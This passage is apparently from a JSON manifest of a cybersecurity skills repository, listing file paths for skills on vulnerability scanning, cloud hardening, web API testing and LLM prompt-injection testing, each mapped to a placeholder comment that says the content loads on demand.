-->","skills/scanning-containers-with-trivy-in-cicd/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-containers-with-trivy-in-cicd%2FSKILL.md -->","skills/scanning-containers-with-trivy-in-cicd/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-containers-with-trivy-in-cicd%2Fassets%2Ftemplate.md -->","skills/scanning-containers-with-trivy-in-cicd/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-containers-with-trivy-in-cicd%2Freferences%2Fapi-reference.md -->","skills/scanning-containers-with-trivy-in-cicd/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-containers-with-trivy-in-cicd%2Freferences%2Fstandards.md -->","skills/scanning-containers-with-trivy-in-cicd/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-containers-with-trivy-in-cicd%2Freferences%2Fworkflows.md -->","skills/scanning-docker-images-with-trivy/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-docker-images-with-trivy%2FSKILL.md -->","skills/scanning-docker-images-with-trivy/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-docker-images-with-trivy%2Fassets%2Ftemplate.md -->","skills/scanning-docker-images-with-trivy/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-docker-images-with-trivy%2Freferences%2Fapi-reference.md -->","skills/scanning-docker-images-with-trivy/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-docker-images-with-trivy%2Freferences%2Fstandards.md -->","skills/scanning-docker-images-with-trivy/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-docker-images-with-trivy%2Freferences%2Fworkflows.md -->","skills/scanning-iac-and-images-with-trivy/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-iac-and-images-with-trivy%2FSKILL.md -->","skills/scanning-iac-and-images-with-trivy/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-iac-and-images-with-trivy%2Freferences%2Fapi-reference.md -->","skills/scanning-iac-and-images-with-trivy/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-iac-and-images-with-trivy%2Freferences%2Fstandards.md -->","skills/scanning-infrastructure-with-nessus/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-infrastructure-with-nessus%2FSKILL.md -->","skills/scanning-infrastructure-with-nessus/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-infrastructure-with-nessus%2Fassets%2Ftemplate.md -->","skills/scanning-infrastructure-with-nessus/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-infrastructure-with-nessus%2Freferences%2Fapi-reference.md -->","skills/scanning-infrastructure-with-nessus/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-infrastructure-with-nessus%2Freferences%2Fstandards.md -->","skills/scanning-infrastructure-with-nessus/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-infrastructure-with-nessus%2Freferences%2Fworkflows.md -->","skills/scanning-kubernetes-manifests-with-kubesec/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-kubernetes-manifests-with-kubesec%2FSKILL.md -->","skills/scanning-kubernetes-manifests-with-kubesec/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-kubernetes-manifests-with-kubesec%2Fassets%2Ftemplate.md -->","skills/scanning-kubernetes-manifests-with-kubesec/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-kubernetes-manifests-with-kubesec%2Freferences%2Fapi-reference.md -->","skills/scanning-kubernetes-manifests-with-kubesec/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-kubernetes-manifests-with-kubesec%2Freferences%2Fstandards.md -->","skills/scanning-kubernetes-manifests-with-kubesec/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-kubernetes-manifests-with-kubesec%2Freferences%2Fworkflows.md -->","skills/scanning-network-with-nmap-advanced/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-network-with-nmap-advanced%2FSKILL.md -->","skills/scanning-network-with-nmap-advanced/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-network-with-nmap-advanced%2Freferences%2Fapi-reference.md -->","skills/securing-agentic-ai-tool-invocation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-agentic-ai-tool-invocation%2FSKILL.md -->","skills/securing-agentic-ai-tool-invocation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-agentic-ai-tool-invocation%2Freferences%2Fapi-reference.md -->","skills/securing-agentic-ai-tool-invocation/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-agentic-ai-tool-invocation%2Freferences%2Fstandards.md -->","skills/securing-api-gateway-with-aws-waf/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-api-gateway-with-aws-waf%2FSKILL.md -->","skills/securing-api-gateway-with-aws-waf/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-api-gateway-with-aws-waf%2Freferences%2Fapi-reference.md -->","skills/securing-aws-iam-permissions/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-aws-iam-permissions%2FSKILL.md -->","skills/securing-aws-iam-permissions/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-aws-iam-permissions%2Freferences%2Fapi-reference.md -->","skills/securing-aws-lambda-execution-roles/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-aws-lambda-execution-roles%2FSKILL.md -->","skills/securing-aws-lambda-execution-roles/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-aws-lambda-execution-roles%2Freferences%2Fapi-reference.md -->","skills/securing-azure-with-microsoft-defender/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-azure-with-microsoft-defender%2FSKILL.md -->","skills/securing-azure-with-microsoft-defender/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-azure-with-microsoft-defender%2Freferences%2Fapi-reference.md -->","skills/securing-container-registry-images/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-container-registry-images%2FSKILL.md -->","skills/securing-container-registry-images/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-container-registry-images%2Freferences%2Fapi-reference.md -->","skills/securing-container-registry-with-harbor/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-container-registry-with-harbor%2FSKILL.md -->","skills/securing-container-registry-with-harbor/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-container-registry-with-harbor%2Fassets%2Ftemplate.md -->","skills/securing-container-registry-with-harbor/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-container-registry-with-harbor%2Freferences%2Fapi-reference.md -->","skills/securing-container-registry-with-harbor/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-container-registry-with-harbor%2Freferences%2Fstandards.md -->","skills/securing-container-registry-with-harbor/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-container-registry-with-harbor%2Freferences%2Fworkflows.md -->","skills/securing-github-actions-workflows/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-github-actions-workflows%2FSKILL.md -->","skills/securing-github-actions-workflows/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-github-actions-workflows%2Fassets%2Ftemplate.md -->","skills/securing-github-actions-workflows/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-github-actions-workflows%2Freferences%2Fapi-reference.md -->","skills/securing-github-actions-workflows/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-github-actions-workflows%2Freferences%2Fstandards.md -->","skills/securing-github-actions-workflows/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-github-actions-workflows%2Freferences%2Fworkflows.md -->","skills/securing-helm-chart-deployments/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-helm-chart-deployments%2FSKILL.md -->","skills/securing-helm-chart-deployments/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-helm-chart-deployments%2Fassets%2Ftemplate.md -->","skills/securing-helm-chart-deployments/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-helm-chart-deployments%2Freferences%2Fapi-reference.md -->","skills/securing-helm-chart-deployments/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-helm-chart-deployments%2Freferences%2Fstandards.md -->","skills/securing-helm-chart-deployments/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-helm-chart-deployments%2Freferences%2Fworkflows.md -->","skills/securing-historian-server-in-ot-environment/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-historian-server-in-ot-environment%2FSKILL.md -->","skills/securing-historian-server-in-ot-environment/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-historian-server-in-ot-environment%2Freferences%2Fapi-reference.md -->","skills/securing-kubernetes-on-cloud/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-kubernetes-on-cloud%2FSKILL.md -->","skills/securing-kubernetes-on-cloud/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-kubernetes-on-cloud%2Freferences%2Fapi-reference.md -->","skills/securing-remote-access-to-ot-environment/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-remote-access-to-ot-environment%2FSKILL.md -->","skills/securing-remote-access-to-ot-environment/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-remote-access-to-ot-environment%2Freferences%2Fapi-reference.md -->","skills/securing-serverless-functions/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-serverless-functions%2FSKILL.md -->","skills/securing-serverless-functions/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-serverless-functions%2Freferences%2Fapi-reference.md -->","skills/testing-android-intents-for-vulnerabilities/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-android-intents-for-vulnerabilities%2FSKILL.md -->","skills/testing-android-intents-for-vulnerabilities/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-android-intents-for-vulnerabilities%2Fassets%2Ftemplate.md -->","skills/testing-android-intents-for-vulnerabilities/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-android-intents-for-vulnerabilities%2Freferences%2Fapi-reference.md -->","skills/testing-android-intents-for-vulnerabilities/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-android-intents-for-vulnerabilities%2Freferences%2Fstandards.md -->","skills/testing-android-intents-for-vulnerabilities/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-android-intents-for-vulnerabilities%2Freferences%2Fworkflows.md -->","skills/testing-api-authentication-weaknesses/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-api-authentication-weaknesses%2FSKILL.md -->","skills/testing-api-authentication-weaknesses/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-api-authentication-weaknesses%2Freferences%2Fapi-reference.md -->","skills/testing-api-for-broken-object-level-authorization/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-api-for-broken-object-level-authorization%2FSKILL.md -->","skills/testing-api-for-broken-object-level-authorization/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-api-for-broken-object-level-authorization%2Freferences%2Fapi-reference.md -->","skills/testing-api-for-mass-assignment-vulnerability/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-api-for-mass-assignment-vulnerability%2FSKILL.md -->","skills/testing-api-for-mass-assignment-vulnerability/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-api-for-mass-assignment-vulnerability%2Freferences%2Fapi-reference.md -->","skills/testing-api-security-with-owasp-top-10/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-api-security-with-owasp-top-10%2FSKILL.md -->","skills/testing-api-security-with-owasp-top-10/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-api-security-with-owasp-top-10%2Freferences%2Fapi-reference.md -->","skills/testing-cors-misconfiguration/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-cors-misconfiguration%2FSKILL.md -->","skills/testing-cors-misconfiguration/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-cors-misconfiguration%2Freferences%2Fapi-reference.md -->","skills/testing-for-broken-access-control/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-broken-access-control%2FSKILL.md -->","skills/testing-for-broken-access-control/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-broken-access-control%2Freferences%2Fapi-reference.md -->","skills/testing-for-business-logic-vulnerabilities/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-business-logic-vulnerabilities%2FSKILL.md -->","skills/testing-for-business-logic-vulnerabilities/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-business-logic-vulnerabilities%2Freferences%2Fapi-reference.md -->","skills/testing-for-email-header-injection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-email-header-injection%2FSKILL.md -->","skills/testing-for-email-header-injection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-email-header-injection%2Freferences%2Fapi-reference.md -->","skills/testing-for-host-header-injection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-host-header-injection%2FSKILL.md -->","skills/testing-for-host-header-injection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-host-header-injection%2Freferences%2Fapi-reference.md -->","skills/testing-for-json-web-token-vulnerabilities/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-json-web-token-vulnerabilities%2FSKILL.md -->","skills/testing-for-json-web-token-vulnerabilities/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-json-web-token-vulnerabilities%2Freferences%2Fapi-reference.md -->","skills/testing-for-open-redirect-vulnerabilities/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-open-redirect-vulnerabilities%2FSKILL.md -->","skills/testing-for-open-redirect-vulnerabilities/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-open-redirect-vulnerabilities%2Freferences%2Fapi-reference.md -->","skills/testing-for-sensitive-data-exposure/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-sensitive-data-exposure%2FSKILL.md -->","skills/testing-for-sensitive-data-exposure/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-sensitive-data-exposure%2Freferences%2Fapi-reference.md -->","skills/testing-for-system-prompt-leakage/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-system-prompt-leakage%2FSKILL.md -->","skills/testing-for-system-prompt-leakage/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-system-prompt-leakage%2Freferences%2Fapi-reference.md -->","skills/testing-for-system-prompt-leakage/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-system-prompt-leakage%2Freferences%2Fstandards.md -->","skills/testing-for-xml-injection-vulnerabilities/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-xml-injection-vulnerabilities%2FSKILL.md -->","skills/testing-for-xml-injection-vulnerabilities/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-xml-injection-vulnerabilities%2Freferences%2Fapi-reference.md -->","skills/testing-for-xss-vulnerabilities-with-burpsuite/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-xss-vulnerabilities-with-burpsuite%2FSKILL.md -->","skills/testing-for-xss-vulnerabilities-with-burpsuite/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-xss-vulnerabilities-with-burpsuite%2Freferences%2Fapi-reference.md -->","skills/testing-for-xss-vulnerabilities/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-xss-vulnerabilities%2FSKILL.md -->","skills/testing-for-xss-vulnerabilities/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-xss-vulnerabilities%2Freferences%2Fapi-reference.md -->","skills/testing-for-xxe-injection-vulnerabilities/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-xxe-injection-vulnerabilities%2FSKILL.md -->","skills/testing-for-xxe-injection-vulnerabilities/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-xxe-injection-vulnerabilities%2Freferences%2Fapi-reference.md -->","skills/testing-jwt-token-security/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-jwt-token-security%2FSKILL.md -->","skills/testing-jwt-token-security/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-jwt-token-security%2Freferences%2Fapi-reference.md -->","skills/testing-mobile-api-authentication/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-mobile-api-authentication%2FSKILL.md -->","skills/testing-mobile-api-authentication/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-mobile-api-authentication%2Fassets%2Ftemplate.md -->","skills/testing-mobile-api-authentication/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-mobile-api-authentication%2Freferences%2Fapi-reference.md -->","skills/testing-mobile-api-authentication/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-mobile-api-authentication%2Freferences%2Fstandards.md -->","skills/testing-mobile-api-authentication/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-mobile-api-authentication%2Freferences%2Fworkflows.md -->","skills/testing-oauth2-implementation-flaws/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-oauth2-implementation-flaws%2FSKILL.md -->","skills/testing-oauth2-implementation-flaws/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-oauth2-implementation-flaws%2Freferences%2Fapi-reference.md -->","skills/testing-prompt-injection-in-rag-pipelines/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-prompt-injection-in-rag-pipelines%2FSKILL.md -->","skills/testing-prompt-injection-in-rag-pipelines/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-prompt-injection-in-rag-pipelines%2Freferences%2Fapi-reference.md -->","skills/testing-prompt-injection-in-rag-pipelines/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-prompt-injection-in-rag-pipelines%2Freferences%2Fstandards.md -->","skills/testing-ransomware-recovery-procedures/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-ransomware-recovery-procedures%2FSKILL.md -->","skills/testing-ransomware-recovery-procedures/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-ransomware-recovery-procedures%2Freferences%2Fapi-reference.md -->","skills/testing-websocket-api-security/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-websocket-api-security%2FSKILL.md -->","skills/testing-websocket-api-security/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-websocket-api-security%2Freferences%2Fapi-reference.md -->","skills/tracking-threat-actor-infrastructure/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftracking-threat-actor-infrastructure%2FSKILL.md -->","skills/tracking-threat-actor-infrastructure/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftracking-threat-actor-infrastructure%2Fassets%2Ftemplate.md -->","skills/tracking-threat-actor-infrastructure/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftracking-threat-actor-infrastructure%2Freferences%2Fapi-reference.md -->","skills/tracking-threat-actor-infrastructure/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftracking-threat-actor-infrastructure%2Freferences%2Fstandards.md -->","skills/tracking-threat-actor-infrastructure/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftracking-threat-actor-infrastructure%2Freferences%2Fworkflows.md -->","skills/triaging-security-alerts-in-splunk/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftriaging-security-alerts-in-splunk%2FSKILL.md -->","skills/triaging-security-alerts-in-splunk/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftriaging-security-alerts-in-splunk%2Freferences%2Fapi-reference.md -->","skills/triaging-security-incident-with-ir-playbook/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftriaging-security-incident-with-ir-playbook%2FSKILL.md -->","skills/triaging-security-incident-with-ir-playbook/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftriaging-security-incident-with-ir-playbook%2Fassets%2Ftemplate.md -->","skills/triaging-security-incident-with-ir-playbook/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftriaging-security-incident-with-ir-playbook%2Freferences%2Fapi-reference.md -->","skills/triaging-security-incident-with-ir-playbook/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftriaging-security-incident-with-ir-playbook%2Freferences%2Fstandards.md -->","skills/triaging-security-incident-with-ir-playbook/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftriaging-security-incident-with-ir-playbook%2Freferences%2Fworkflows.md -->","skills/triaging-security-incident/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftriaging-security-incident%2FSKILL.md -->","skills/triaging-security-incident/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftriaging-security-incident%2Freferences%2Fapi-reference.md -->","skills/triaging-vulnerabilities-with-ssvc-framework/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftriaging-vulnerabilities-with-ssvc-framework%2FSKILL.md -->","skills/triaging-vulnerabilities-with-ssvc-framework/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftriaging-vulnerabilities-with-ssvc-framework%2Freferences%2Fapi-reference.md -->","skills/triaging-vulnerabilities-with-ssvc-framework/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftriaging-vulnerabilities-with-ssvc-framework%2Freferences%2Fstandards.md -->","skills/triaging-vulnerabilities-with-ssvc-framework/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftriaging-vulnerabilities-with-ssvc-framework%2Freferences%2Fworkflows.md -->","skills/triaging-windows-with-kape/SKILL.md":"<!-- Skill available on-demand via 